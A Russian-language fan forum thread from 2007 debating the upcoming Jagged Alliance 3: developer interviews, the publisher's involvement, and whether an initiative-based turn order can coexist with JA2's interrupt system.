2bugmonster Это все больше о Джа 2 все-таки. Согласен, что нужна революция, а не экстенсивное развитие путем обрастания джа2 новыми фичами. Даже не столько революция, сколько новый экспириенс.
Для меня Великий Дух Джа-это собирательное понятие(Ja,JaDG,Ja2). Каждая часть - новый опыт, боевая зарубка. [offtop]Помнится когда первый раз в Джа2 играл(о Джа1 -даже ничего не слышал тогда ещё), моих команндос на легком уровне в Драсенне рвали, а сейчас 1 персов,на эксперте, 32 вражин(включая танкетки в модах) спокойно выношу - Вот это Опыт![/offtop]
Вот если бы вышёл Джаз(причем все разрабы схожих игр цитируют,в основном, Джа2) под брендом Jagged Alliance, то Дух Джа уже не был бы таким великим ;D
А вообще тут парой постов не отделаешься, уж слишком сложный вопрос.
[offtop]Некоторые жалуются на разработчиков F3, мол не общаются с комьюнити, темнят, но как иначе, если многие вообще не в курсах: форумы не читают, за разработкой не следят...
вот и появляются регулярно в сети пассажи типа:
"...зачем 3d, сделайте плохое 2d..., мне камерой вертеть не удобно" ,"рожи убогие, лучше 2д картинки" - анахронизм, в такую игру будут играть сейчас 1.5 инвалида, не считая ветеранов.
"минометы убрали, ууу,чем мы теперь в коридорах шмалять будем" - это про реалызм ;D
про воинскую часть и портреты - такая игра уже есть, АА называется ::)
А если серьезно, мне кажется , что разрабам следят за мнением фанатов, а Ричард Терьен даже на медвежьем форуме постил :o! Особенно если сравнивать ранние интервью и превьюшки с более поздними, за сентябрь, октябрь. Да и эта книга пожелании и впечатлений на Игромире... [/offtop]

Заголовок: Re: Jagged Alliance 3
Прислано пользователем bugmonster на 03.12.2007 в 08:21:57
2snake_sanders: А это откуда цитатка про стратег. режим? Таки в JA3 решили добавить стратегическую составляющую?

Заголовок: Re: Jagged Alliance 3
Прислано пользователем snake_sanders на 03.12.2007 в 11:06:51
http://www.gameland.ru/post/38258/
На RPG Vault  ещё одно интерью лежит, за 16 октября(вроде самое свежее).
Над игрой трудятся 27 человек...

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Docent на 03.12.2007 в 20:32:27
2snake_sanders:
Любопытная статья, хоть и весьма малоинформационная. ???

Наконец-то разработчики стали задумываться о том, какой смысл имеет слово «миссия» для игр в сеттинге JA! ;D

Quote:
Хочу уточнить, что игра у нас не mission-based, поэтому слова «миссия» мы стараемся избегать.
А ведь во времена обсуждения официального анонса Jagged Alliance 3 (http://ru.akella.com/News.aspx?id=941) это слово вместе с загадочными "этапами" использовалось регулярно.

Но ответ на вопрос, "Насколько свободен игровой мир?", мне показался несколько размытым:

Quote:
Игрок волен действовать по своему усмотрению, но на постоянной связи со «штабом». Заказчику может и не понравиться его полная свобода в какой-то момент и тогда заказ будет отменен. Кроме того, в конфликт втянуты одновременно четыре группировки, интересы которых подчас пересекаются на одних и тех же заданиях. Так что игроку придется поработать головой, чтобы успешно двигаться вперед. Собственно, движение вперед подразумевается для группировки, интересы которой защищают наемники под вашим руководством. Игроку не возбраняется заняться и своими делами, поискать новое оружие, например, забыв про задание, но тогда его группировка не сможет столь успешно развиваться, подчиняя себе все больше и больше городов. Хотя возможно, что игрок случайно раньше времени выполнит стратегически важную задачу, ускорив тем самым ход событий. По-разному может получиться, в двух словах и не расскажешь.

Похоже, что основной упор для достижения разнообразия (замена свободы) все-таки делается на большее количество противоборствующих сторон, чем на свободу выбора игрока, которая была основополагающей в JA2. :(

Порадовало обещание разработчиков ввести полноценный стратегический режим:

Quote:
В первую очередь, это введение полноценного стратегического режима. Где игрок сможет следить за зонами влияния группировок, перемещаться, узнавать прогноз погоды, которая может повлиять на успех планируемой операции в определенном регионе. Кроме того, стратегический режим будет обладать собственным AI, который играет одновременно за четыре стороны. Безусловно, группировка, к которой присоединится игрок, постарается обеспечить ему посильную поддержку в боевых действиях, но это уже вопрос баланса.
Но, как он реально будет реализован и как будет работать, это еще большой вопрос? ::)

Весьма жалко, что исчезнет возможность альтернативного найма наемников помимо сайта A.I.M.:

Quote:
В новую версию перекочуют около 30 наемников из числа известных игрокам и прибудет порядка 10 новичков. Наем происходит, как и ранее, через имеющийся у игрока ноутбук с Интернетом. Также мы собираемся избавиться от сайта M.E.R.C, обойдясь сайтом A.I.M.


Безусловно радует возможность появления мультиплеерного режима: :)

Quote:
Мультиплеер будет – «это однозначно», как говаривал Владимир Вольфович. Более того, программная часть уже реализована и протестирована на небольшом количестве клиентов. Большего пока не скажу, так как сейчас по этому поводу мы ведем переговоры с канадским издателем и куратором проекта.


Но, в целом, какой-то более-менее ясной картины, что же все-таки будет представлять из себя Jagged Alliance 3, из этой статьи отнюдь не возникает. :(

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Docent на 03.12.2007 в 21:07:37
Отдельно хочется прокомментировать вопрос/ответ о "зарубежном издателе – Strategy First".

Вопрос:
Quote:
Что можете сказать о вашем зарубежном издателе – Strategy First? Канадцы известны трепетным отношением к проектам и большой ролью участия в играх. Как это происходит в вашем случае?

Ответ:
Quote:
Именно так и происходит. Все приходится согласовывать с канадцами. Это очень тяжелые условия: сдавать работу сразу двум издателям, российскому и западному. Плотно работаем с Ричардом Терьеном, вице-президентом по разработке компании Strategy First. Ричард уже два раза встречался с нами в России, и пока его отзывы доброжелательны.

Он принимал непосредственное участие в создании дизайн-документа, его мнение важно для нас, мы постоянно совещаемся, буквально каждый день, и если что-то меняем по ходу разработки, то только с его согласия.

Что-то больно радужные отзывы, на мой взгляд, о Ричарде Терьене, вице-президенте по разработке компании Strategy First. ::)
Совсем недавно мне попался на глаза на форумах AG и "несколько другой" отзыв об этом человеке от Шутова В. Н., имевшего "счастье" тоже общаться с Ричардом:

on 11/24/07, в 23:41:23, napalm wrote:
Ни во что не хочу вмешиваться или как то комментировать, кроме одного момента
так как имел "счастье" лично общаться с Ричардом долгое время по разным поводам, могу заметить что самый неприятный момент в общениях с ним был "гениальная идея как всё круто переделать!".
отсюда думаю и неуверенность разработчиков в том что же в итоге будет. SFi забавные ребята. Они могут прислать полностью готовый вижн, а когда ты присылаешь им сделаный по этому вижну продукт выдать "ой, а мы уже успели передумать". Всё время что мы с ними работали, у нас было четкое ощущение что они вообще не знают чего хотят. А так как сами деньгами особо не рискуют (если не ошибаюсь сейчас дисы тоже они не финансируют и все риски лежат только на Акелле)
думаю не держи Ричард "на пульсе игры" свою руку, игра была бы нормальной и вышла бы раньше.
И то что он контролирует разработку отнюдь не гарантирует "сохранение духа серии". я бы сказал что это ничего не гарантирует, ибо это человек - классический пример "человека всегда мечтавшего создавать игры" но при этом совсем не понимающего как же это происходит. Знаете таких с пяток каждую неделю письма присылают "я много играл и знаю какие должны быть игры, возьмите меня на работу, согласен на 15% от прибыли!". Вот из той же оперы человек. Всю жизнь был маркетологом, причем отнюдь не самым хорошим, а тут после того как посваливали все продюсеры в т.ч. те кто делали первые и вторые дисциплес потому что банально денег не платили (напомню, стратежи уже были  банкротами, да и сейчас пациент скорее мёртв чем жив) его поставили в разработку руководить. Вот и руководит, растекаясь мыслею по древу.
Всё закругляюсь, спорьте дальше, не буду вас прерывать :)
Разработчикам удачи!


Весьма загадочные слова прозвучали и о хардкорности/казуальности будущей Jagged Alliance 3:

Quote:
Насчет хардкорности однозначно пока сказать не могу, равно как и насчет казуальности. Постараемся, чтобы всем было интересно.

Вообщем, понимай, как хочешь! ;D

Заголовок: Re: Jagged Alliance 3
Прислано пользователем snake_sanders на 03.12.2007 в 22:57:14
2Docent Ты бы еще всю статью запостил, я ведь ссылку дал. Люди сами прочитают ;)
а вообще камменты (похожие) napalm-а вроде появились после разрыва со стратегами, сам понимаешь ;D
[offtop]в предпоследнем журнале "Игромания", в статье про игровой взлом, Тумин говорит, мол да , взламывал, X-com там всякий, Арканум, ФОЛ 1-2 (тактикс), Дьяблу, а Джагу ни-ни - важничает 8)[/offtop]

Заголовок: Re: Jagged Alliance 3
Прислано пользователем SSSVOLOCH на 04.12.2007 в 01:00:44
2snake_sanders:  
Quote:
а Джагу ни-ни - важничает  

Не интересовала его тогда Джага просто. Он еще до начала работы в Мисте редактор сейвов для КДР делал, я им сам пользовался (тоже еще давным-давно). Ломать ресурсы - это дело любопытное и никем не наказуемое.

Что касается SFi, у мсье Террьена есть шанс даже стать руководителем этой "замечательной" компании, судя по последним новостям:).

И к словам Напалма неплохо было бы линк привести, что сказано это было вовсе не относительно сабжа, а в ветке Disciples III.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Docent на 04.12.2007 в 12:02:56
2snake_sanders:

Quote:
Ты бы еще всю статью запостил, я ведь ссылку дал. Люди сами прочитают ;)

Конечно люди сами почитают, им ведь никто не мешает? ;)
Но высказывать собственные впечатления от статьи, надеюсь, тоже не запрещено? ::)


Quote:
а вообще камменты (похожие) napalm-а вроде появились после разрыва со стратегами, сам понимаешь

Было бы просто удивительно, если бы подобные комменты napalm отпускал во время работы со SF и Ричардом! ;D

2SSSVOLOCH:  
Quote:
И к словам Напалма неплохо было бы линк привести, что сказано это было вовсе не относительно сабжа, а в ветке Disciples III.

Извиняюсь, линк цитаты с другого форума отображается здесь некорректно. :(
Приведу ссылку на пост napalm`a Re: Disciples 3 (Ответ #1714) от 24 ноября 2007:
http://forums.ag.ru/?board=fl_main&action=display&s=0&num=1096308768&start=1714

Высказывание napalm`a действительно размещенно в ветке Disciples III, но относится оно именно ко времени работы MiST land под "чутким руководством" Ричарда над Jagged Alliance 3D, то есть полностью соответствует обсуждаемой здесь теме. ;)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем SSSVOLOCH на 04.12.2007 в 12:16:48
2Docent:  
Quote:
Было бы просто удивительно, если бы подобные комменты napalm отпускал во время работы со SF и Ричардом!  
И тем не менее - они есть, только не в открытом доступе. Но многие их видели.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Docent на 04.12.2007 в 12:33:04
2SSSVOLOCH:  
Quote:
И тем не менее - они есть, только не в открытом доступе. Но многие их видели.

Я вообщем-то и не сомневаюсь в том, что мнение napalm`a о Ричарде сформировалось именно во время работы с ним, а не после неё.
Но появление подобных комментариев в открытом доступе тогда, просто невозможно себе представить. ;D

Заголовок: Re: Jagged Alliance 3
Прислано пользователем bugmonster на 04.12.2007 в 14:33:12
2Docent: Судя по разрыву договора на две игры в особо-жестокой форме, отягощённому прокидом по финансовым обязательствам - я могу себе представить что что они были в открытом доступе или высказаны Терьерчегу лично :lol:

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Docent на 05.12.2007 в 20:24:58
2bugmonster:  
Quote:
...отягощённому прокидом по финансовым обязательствам...

А были какие-то финансовые обязательства со стороны Strategy First? :o Они ведь очень не любят финансовые риски и всячески стараются переложить их на плечи отечественных издателей. ;)
2napalm:  
Quote:
А так как сами деньгами особо не рискуют (если не ошибаюсь сейчас дисы тоже они не финансируют и все риски лежат только на Акелле)

Лично я так и не понял этого... ::)

Перенесу из соседней ветки обсуждение нового принципа передачи ходов в JA3.

2bugmonster:  
Quote:
Но ведь "инициатива" похерит всю систему перехватов :( Т.е. они либо исчезнут, либо превратятся в подобие перехватов из КДР.

Вот что говорил гейм-дизайнер студии F3 Games - Александр Валенсия-Кампо в интервью журналу НиМ12 (115) 2006 об изменении принципа передачи ходов в JA3:
"Боевая механика и баллистика сохранятся почти в первозданном виде. Мы только чуть-чуть изменили принцип передачи ходов. Теперь очередность хода не зависит от стороны персонажа, а передается исключительно в зависимости от его инициативы. Таким образом, мы добились некоего что ли, перемешивания ходов. Действия сторон чаще чередуются , что по нашим расчетам должно благотворно сказаться на мультиплеере. Игрокам не придется подолгу ждать, пока соперник походит всеми своими персонажами. Такая вот продвинутая версия перехвата хода. Впрочем, и традиционный перехват никуда не делся."
В интервью обещали оставить "традиционный перехват" хода. ;)
По большому счёту, сам механизм перехвата и условия его возникновения тоже могут принципиально не измениться относительно JA2.


Quote:
Да и командные действия сделаются трудноосуществимыми.

А вот с планированием и реализацией командных действий действительно может возникнуть полная засада! >:(
В JA2 ведь можно было легко планировать совместные действия команды по одному объекту, например, один мерк подранил или избил фрага, другой ограбил, а третий пристрелил его от греха подальше. ;)
Теперь аналогичные совместные действия станут практически невозможными, противоположная сторона вполне может получить свой ход и нарушить все планы! :(

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Leo на 05.12.2007 в 20:41:38
В таких боевках постоянно используется, страшно сказать, АТБ-шкала. :) Судя по скринам в JA3 ее не будет. Трудно сказать, хорошо это или плохо. ::)
ИМХО, с ней было бы лучше, чем полный хаос на поле боя.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Zmey на 06.12.2007 в 06:05:20
2Leo: Что за шкала? что то такой термин мне раньше не встречался

Заголовок: Re: Jagged Alliance 3
Прислано пользователем bugmonster на 06.12.2007 в 07:21:21
2Docent: Да, именно это я и имел ввиду - и это тоже непосредственно связано с перехватом, т.к. изевстный способ борьбы с перехватом - первым идёт более опытный мерк, за ним более слабые. Если очерёдность хода сделать жесткой - то перехвать для слабого мерка нельзя будет избежать. Получится что мерк с высокой инициативой и малым опытом ходит первым, но при этом перехватывается. :( По сути дела, смешение старой системы с ходами команд, перехватами и новой системы с инициативой - это есть смешение слабосвязанных друг с другом систем расчёта одного и того же элемента игры - очерёдности хода. ИМХО результат такой мишуры трудно просчитать или представить заранее - это можно только сделать и посмотреть как оно работает.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем pipetz на 06.12.2007 в 08:42:10
2Zmey:  
Quote:
2Leo: Что за шкала? что то такой термин мне раньше не встречался  


Ну, это наверное, как в HOMM5 последовательность картинок с изображениями юнитов рассположенная на экране в порядке их хода.
Только не понятно как в этой последовательности можно будет различать
врагов, они же все на одно лицо. :)


Заголовок: Re: Jagged Alliance 3
Прислано пользователем Zmey на 06.12.2007 в 09:29:05
2pipetz: повесить над видимыми врагами "бейджик" с номером их очереди

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Docent на 06.12.2007 в 11:42:22
2bugmonster:  
Quote:
Если очерёдность хода сделать жесткой - то перехват для слабого мерка нельзя будет избежать. Получится что мерк с высокой инициативой и малым опытом ходит первым, но при этом перехватывается. :(

Весьма вероятно, что такое будет происходить относительно часто, если только параметр "инициатива" не будет напрямую зависеть от опыта мерков. ;) Тогда самый неопытный мерк будет и ходить последним. ;)

На мой взгляд, то, что в данный конкретный момент игрок сможет ходить только тем одним мерком, который получил ход и никаким другим - весьма сильно ограничит тактические возможности игры! >:(


Quote:
По сути дела, смешение старой системы с ходами команд, перехватами и новой системы с инициативой - это есть смешение слабосвязанных друг с другом систем расчёта одного и того же элемента игры - очерёдности хода.

Более того, систем определения очередности хода на основе инициативы тоже насчитывается несколько и они весьма разные, например, такие как в НоММ5 (где инициатива определяет частоту получения хода отдельных юнитов в течение всего боя), или в как в Disciples (где инициатива определяет только порядок получения хода юнитов в пределах одного раунда боя). :(
Какую из этих систем планируется реализовать в JA3, пока сказать сложно, но зная предпочтения Ричарда при разработке Disciplеs 3, можно предположить, что он хочет реализовать систему очередности ходов из НоММ5.


Quote:
ИМХО результат такой мишуры трудно просчитать или представить заранее - это можно только сделать и посмотреть как оно работает.

Тут я согласен. Просчитать такое заранее весьма сложно. :(
Особенно если добавить в систему определения очередности ходов возможность появления и пропадания мерков/фрагов из зоны видимости.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем MAn на 06.12.2007 в 12:26:07
ИМО, существование перехвата и инициативы рядом - "левая" выдумка разработчиков. Винегрет будет, вроде, "зайцы наперебой спасают деда Мазая".
Это ж разные вещи, альтернативные, если угодно. Перехват дает ход на ходу пртивника, значит существует "свой" ход и "ход противника". Инициатива разрушает такое деление, в результате появляется множество отдельных "ходов", по числу участвующих.  Поставленные рядом, перехват и инициатива можгут дать массу непредсказуемых затруднений, "корявостей" в гейпмлее, не говоря про элементарные глюки. А главное, непонятно зачем нужна эта инициатива, ведь система перехватов лучше, и ее еще можно развивать и развивать.  
Действуют по принципу: "пусть кривое, но другое", что ли?

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Zmey на 06.12.2007 в 12:49:06
А еще система перехватов позволяет реализовать засаду - подлорвить врага опытным мерком. Как это реализовать в случае с инициативой - не имею представления

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Leo на 06.12.2007 в 13:01:31
2pipetz:  
Quote:
Ну, это наверное, как в HOMM5 последовательность картинок с изображениями юнитов рассположенная на экране в порядке их хода.

Да, это она и есть. :)

Quote:
Только не понятно как в этой последовательности можно будет различать
врагов, они же все на одно лицо. :)

Ну, в НоММ5 тоже одинаковые отряды на одно лицо. Все зависит от прямоты рук при реализации шкалы. Что бы фраги, при наведении курсора, подсвечивались на шкале сделать не трудно, я думаю.

Проблема в том, что этой шкалы на скринах из JA3 мы не наблюдаем. И как можно вообще что-то планировать, если совершенно не ясно, кто сейчас получит ход? ???

Честно сказать, я вообще сомневаюсь что сейчас реализована эта фича в игре. Глядя на на скриншоты можно подумать, что все так же, как было в JA2 (раз (http://www.ag.ru/screenshots/jagged_alliance_3/208252) и два (http://www.ag.ru/screenshots/jagged_alliance_3/198389)).
Т. е. возможно, эта идея пока что только на бумаге, потому что лично мне решительно не понятно, как они могли тестировать мультиплеер в такой не разберихе с очередностью ходов.

2bugmonster:  
Quote:
т.к. изевстный способ борьбы с перехватом - первым идёт более опытный мерк, за ним более слабые. Если очерёдность хода сделать жесткой - то перехвать для слабого мерка нельзя будет избежать.

Не верно. Я вот представляю себе такой вариант раздачи ходов и у меня тоже только опытный мерк будет идти первым. ::) Может он и не получит первый ход, но ведь не обязательно ломиться слабыми на амбразуры.

Вообще это сильно изменяет геймплей и не понять еще в какую сторону, в другую, или в худшую. Мы то знаем, что лучше, чем было  JA2 не сделать. :D

Интересно, а появяться кнопки "wait" и "defend"? ;D

2Docent:  
Quote:
Какую из этих систем планируется реализовать в JA3, пока сказать сложно

Из интервью ясно видно, что пока что хотят реализовать такую, которую ты называешь "как в Disciples". ;)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Leo на 06.12.2007 в 13:06:45
2Zmey:  
Quote:
А еще система перехватов позволяет реализовать засаду - подлорвить врага опытным мерком. Как это реализовать в случае с инициативой - не имею представления

Если текущая инициатива не будет являться постоянной характеристикой, а будет зависеть от множества факторов, то реализовать такое можно. ;)
Например, враг будет ходить последним, если при входе в пошаговый режим он нас не видит (застали в расплох). Получивший ранение враг получит ход позже и прочие замуты. Почти SPM, епт! ;D
Но пессимист внутри меня говорит, что все сделают криво и вообще мы все умрем. :(

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Zmey на 06.12.2007 в 13:16:46
Ну что я могу сказать - гляда на скриншоты понимаешь, что оружие в инвентаре нарисовано через жопу. Я бы лучше размеры слотов для оружия увеличил чем эти морды на полэкрана. К тому же все равно нарисуют уродов или ахтунгов:(

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Leo на 06.12.2007 в 13:23:59
2Zmey:
Тю, я скрины показал для того, что бы на полоску вверху экрана внимание обратили. ;D
Скрины древние, как мама для мамонтенка. Рожи, если верить "представителю разработчиков", только пробные наброски. Над ними вообще не работали (на тот момент).

Заголовок: Re: Jagged Alliance 3
Прислано пользователем SSSVOLOCH на 06.12.2007 в 13:34:50
Рожи точно уже переделаны, сам видел на "Игромире". В команде были те же мерки. А на скринах - ранние, даже не рабочие, а просто заготовки.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем MAn на 06.12.2007 в 13:55:25
2Leo:

Quote:
Если текущая инициатива не будет являться постоянной характеристикой, а будет зависеть от множества факторов, то реализовать такое можно

Можно, но не нужно :-) перехват делает всё, что делает инициатива, только лучше, и при этом без кнопок "ждать", "пропустить".
Перехват осмысленен - опытность играет важнейшую роль, но не менее важны другие обстоятельства - "местные" условия и умение игрока.
Возможен множественный перехват, то бишь перехват перехвата,  перехват перехвата перехвата и т.д.
У инициативы тот недостаток, что она разрушает  деление на "свой", "чужой" ход, а взамен ничего не дает, по сравнению с перехватом, конечно. Зато смазывает иллюзию действий по заранее разработанному плану, смазывает иллюзию уточнения плана в процессе его осуществления; ну, не дает оно ничего того, чего не дает перехват, а вот кое-что теряется.

Ясный хрен, что тут это известно всем и каждому, так что звиняйте за поучения, чото поумничать захотелось ;D пойду лучче поработаю


Заголовок: Re: Jagged Alliance 3
Прислано пользователем Leo на 06.12.2007 в 14:11:50
2MAn:  
Quote:
Можно, но не нужно :-) перехват делает всё, что делает инициатива, только лучше

Ты абсолютно прав в том, что это всем известно. ;) Но новую систему ходов не я придумал и не я её ввел в JA3, так что все мои разглагольствования это просто предположения как можно именно её реализовать.

Quote:
У инициативы тот недостаток, что она разрушает  деление на "свой", "чужой" ход, а взамен ничего не дает, по сравнению с перехватом, конечно.

Ну почему же не дает? ::) Куда ближе к реалтайму получается. Т. е. реалистичней (интересно, а кому это надо? ;D). Потому что тактика ведения боя сместиться. Вместо того, что бы на свой ход завалить как можно больше врагов (как вариант всех видимых), прийдется воевать иходя из других принципов. Ранее как было? Получили ход - высунулись из-за укрытия, всей толпой обезвредили как можно больше фрагов и спрятались. Так велось большинство перестрелок в игре. Потому что сама игровая механика провоцирует на такую тактику.

Теперь еще и враги будут стрелять в нас! ;D
Именно мультиплеер, кстати, с такой системой ходов будет смотреться лучше, ИМХО.


Quote:
иллюзию уточнения плана в процессе его осуществления

Это ты про Ы/Д что-ли? ;D

Заголовок: Re: Jagged Alliance 3
Прислано пользователем MAn на 06.12.2007 в 16:24:41
2Leo:

Quote:
Куда ближе к реалтайму получается.

А вот этого не надо, никаких там реалтаймов, даёшь походовку, а то кофейку некогда выпить будет :)
А я вот не пойму, почему это ближе к реалтайму, имхо - не ближе, а одинаково далеко.

Quote:
Т. е. реалистичней (интересно, а кому это надо?

Долой реализьм, да здравствует сюрреализьм!  
Реализм = это странная штука, когда его нету - вроде бы плохо, а как появляется - раздражает.

Quote:
Потому что тактика ведения боя сместиться... Ранее как было? Получили ход - высунулись из-за укрытия, всей толпой... Так велось большинство перестрелок в игре. Потому что сама игровая механика провоцирует  

Категорически возражаю. Из своего личного опыта и многочисленных споров на форумах знаю, что игроки ведут "перестрелки" очень по-разному, ничего она, особенно, не провоцирует, напротив свобода выбора во всем - большое достоинство Джа.
"Инициатива" не даст ничего по-существу, просто шило на мыло поменяем, зато багов прибавится.

Quote:
Именно мультиплеер, кстати, с такой системой ходов будет смотреться лучше, ИМХО.

Рекомендую ознакомиться с игрулькой Total Influence. Об ней в разделе "Тоже игры" кое-что есть. Мультиплеер, в котором очередность хода игроков будет произвольной, или труднопредсказуемой вряд ли кому-то понравится.
Quote:
Это ты про Ы/Д что-ли?

;D Как вариант
Ваще-то я имел в виду, что пока хожу,  могу быстро отреагировать на всякие там неожиданности, ведь я могу тасовать мерков как хочу. Если, конечно, у меня, больше, чем один мерк :)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Leo на 06.12.2007 в 17:15:49
2MAn:  
Quote:
А я вот не пойму, почему это ближе к реалтайму, имхо - не ближе, а одинаково далеко.

Ближе, ближе! ;) Вот ты представь, что в шахматах за один ход можно походить всеми своими фигурами и поймешь разницу.

Quote:
Реализм = это странная штука, когда его нету - вроде бы плохо, а как появляется - раздражает.

Согласен. Но складывается у меня такое впечатление, что у камрадов сложилось мнение, что у меня сложилось мнение будто новая система раздачи ходов это неимоверная круть, а старая - отстой. ;D Так вот - я так не думаю. ;)

Quote:
Категорически возражаю. Из своего личного опыта и многочисленных споров на форумах знаю, что игроки ведут "перестрелки" очень по-разному

В мельчайшие детали вникать не будем, смотрим на механику как есть - во время перестрелки, до нажатия кнопки "Конец хода", игрок должен сделать так, что бы не передохли мерки. Для этого, либо обезвреживаются все потенциально опасные противники или мерки уводятся с линии их огня. Или и то и другое в разных комбинациях.
Главное что? Правильно, пока ходим мы, сделать так, что бы когда начался ход врага, вредить он не смог.
А все почему? Потому что мы можем походить всеми сразу и знаем, что враг сделает то же самое.

Теперь посмотрим на SPM в "Бригаде Е5", например. При перестрелке, мы стреляем по кому? Правильно, по потенциально опасным на данный момент противникам. Мы знаем, что во-он тот гопник еще не скоро от шока оклемается или еще долго будет целиться из дробовика (не скоро походит, по аналогии) и пока по нему можно не стрелять.

В первом случае мы больше действуем по обстановке в целом, а в случае с SPM мы больше действуем по обстановке на данный, весьма короткий, момент. Акценты смещаются, но и там и там вполне реально планировать командные действия.
С предлагаемой разрабами системой раздачи ходов получится нечто среднее между этими двумя вариантами.

Quote:
свобода выбора во всем - большое достоинство Джа.

А кто спорит? :)

Quote:
"Инициатива" не даст ничего по-существу, просто шило на мыло поменяем, зато багов прибавится.

Прибавиться к чему? К SS? ;D

Quote:
Рекомендую ознакомиться с игрулькой Total Influence.

Знаком, а как же! ;) Даже на втором месте в свое время в топе был. Сейчас, вроде, развивают проект еще, домик новый уже добавили. ::)

Quote:
Мультиплеер, в котором очередность хода игроков будет произвольной, или труднопредсказуемой вряд ли кому-то понравится.

Абсолютно согласен, поэтому я и говорил, что нужна АТБ-шкала.
А при чем тут малопрогнозируемость и Total Influence? Там вс весьма прогнозируемо... Точнее наоборот, там ни хрена не прогнозируемо вообще, из-за повального рандома всего, ;D но как раз очередность ходов там последовательна.

Quote:
Ваще-то я имел в виду, что пока хожу,  могу быстро отреагировать на всякие там неожиданности, ведь я могу тасовать мерков как хочу.

Это одна из особенностей системы раздачи ходов в JA2, которую у нас отнимают, да. ;)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем MAn на 07.12.2007 в 11:56:46
2Leo:
Ладно, ладно, побережем патроны  :)

Quote:
Знаком, а как же!  Даже на втором месте в свое время в топе был.

Какая кликуха?   (А, вспомнил, такая же, да)
Кстати,

Quote:
о нажатия кнопки "Конец хода", игрок должен сделать так, что бы не передохли мерки. Для этого, либо обезвреживаются все потенциально опасные противники или мерки уводятся с линии их огня.

Это ж чистый Total influence ;)

ЗЫ

Quote:
Вот ты представь, что в шахматах за один ход можно походить всеми своими фигурами и

Представил, это будет Джаггед Альянс. Во время перехвата ход конем по голове.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Leo на 07.12.2007 в 12:02:05
2MAn:  
Quote:
Какая кликуха?   (А, вспомнил, такая же, да)
Почти такая же. Leo84 я там. :)

Короче, даешь в JA3 АТБ-шкалу или в топку их новую систему передачи ходов! ;D

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Zmey на 07.12.2007 в 16:55:15
2Leo: А можно ссылку на нынешние мордашки? Главное что бы тыквогенератор был нормальный, что бы в нем можно было сделать нормального бойца (смотрим на тыквогенератор EVE online - вот к чему нужно стремиться) а не радиационного мутанта (Смотрим SS, там нормальную рожу сгенерить практически нереально)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Leo на 07.12.2007 в 19:44:59
2Zmey:
Скриншотов с Игромира пока что не видать. :( А новые мордашки можно было увидеть только там. :( Меня там не было, поэтому сказать "как оно" не могу.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Leo на 11.12.2007 в 12:51:58
Свежее интервью. Есть пара новых скринов, в том числе и с новыми мордами лица. ::)
http://www.igromania.ru/Articles/12866/Jagged_Alliance_3.htm

Забыл добавить, что таки да, интервью забавляет, как и любая другая инфа о JA3. ;D

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Ingris на 11.12.2007 в 13:36:19
Что-то морды лица какие-то пластмассовые, гладко-ненатуральные... :confus:
Но в остальном картинка ничего  :)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем MAn на 11.12.2007 в 14:43:22

Quote:
Забыл добавить, что таки да, интервью забавляет, как и любая другая инфа о JA3.  

Эге, смешное интервью. Помнится, когда ВМ и Нейрос сотоварищи делали В2В, то на форуме возникла даже небольшая дискуссия, как называть банановую республику  - Морковкастан или Карротистан или еще как. А у этих значительно проще:
действие разворачивается в Северне, расположенной к северу от Арулько.

Да, - игрулька будет в чем-то похожа на Е5 (а в целом, наверное, будет винегрет из аллюзий)

Территорию Северны на части раздирают четыре соперничающих друг с другом фракции...  Сектора, области, территории, города отвоевывают армии каждой из четырех противоборствующих сторон.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Zmey на 11.12.2007 в 20:26:46
Никакого захвата на этот раз нет вообще. Вернее, он находится вне компетенции игрока. Сектора, области, территории, города отвоевывают армии каждой из четырех противоборствующих сторон.
Грустно блин  :( :( :(
Не нужно долго и нудно тренировать ополчение, тратить силы на отстаивание локаций и выполнять кучу других, нарушающих боевую динамику операций, короче говоря — заниматься избыточным микроменеджментом.
А вот это ваще капец... в микроменеджменте заключена изрядная доля "специй" ДЖа  >:(

ЗЫ: а коментарии малолетних талп"епоф улыбнули ;D

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Leo на 11.12.2007 в 20:40:10
2Zmey:  
Quote:
А вот это ваще капец... в микроменеджменте заключена изрядная доля "специй" ДЖа  : angry :

В SF, видать, думали, что там главным был махач, а все остальное - лишняя мишура. Ну теперь у нас будет махач. ::) Однако отстойно.

Это мы еще не знаем, какие изменения в механике боя будут. Это они говорят, все так же и перехваты такие же, одновременно хвастая новой системой раздачи ходов. Короче не игра, а один большой сюрприз. ;D

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Ushwood на 12.12.2007 в 17:27:37
На меня наибольшую грусть навело вот это:
[Игромания]: Враги поумнеют?
[Юрий Жучков]: Скажем так: действия неприятеля вряд ли будут напоминать игру в «поддавки». Тут важно создать сбалансированную систему, а не то враг станет настолько хитер и коварен, что у игрока не останется шансов на победу.

Помнится, Нивал перед выходом 5 Героев тоже отмазывался, что-де задача АИ - не "быть слишком умным", а "красиво проиграть". В итоге АИ получился совершенно имбецильный, даже несмотря на то, что его читерство было видно невооруженным глазом...
Есть у меня нехорошие предчувствия...

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Zmey на 12.12.2007 в 19:56:59
2All
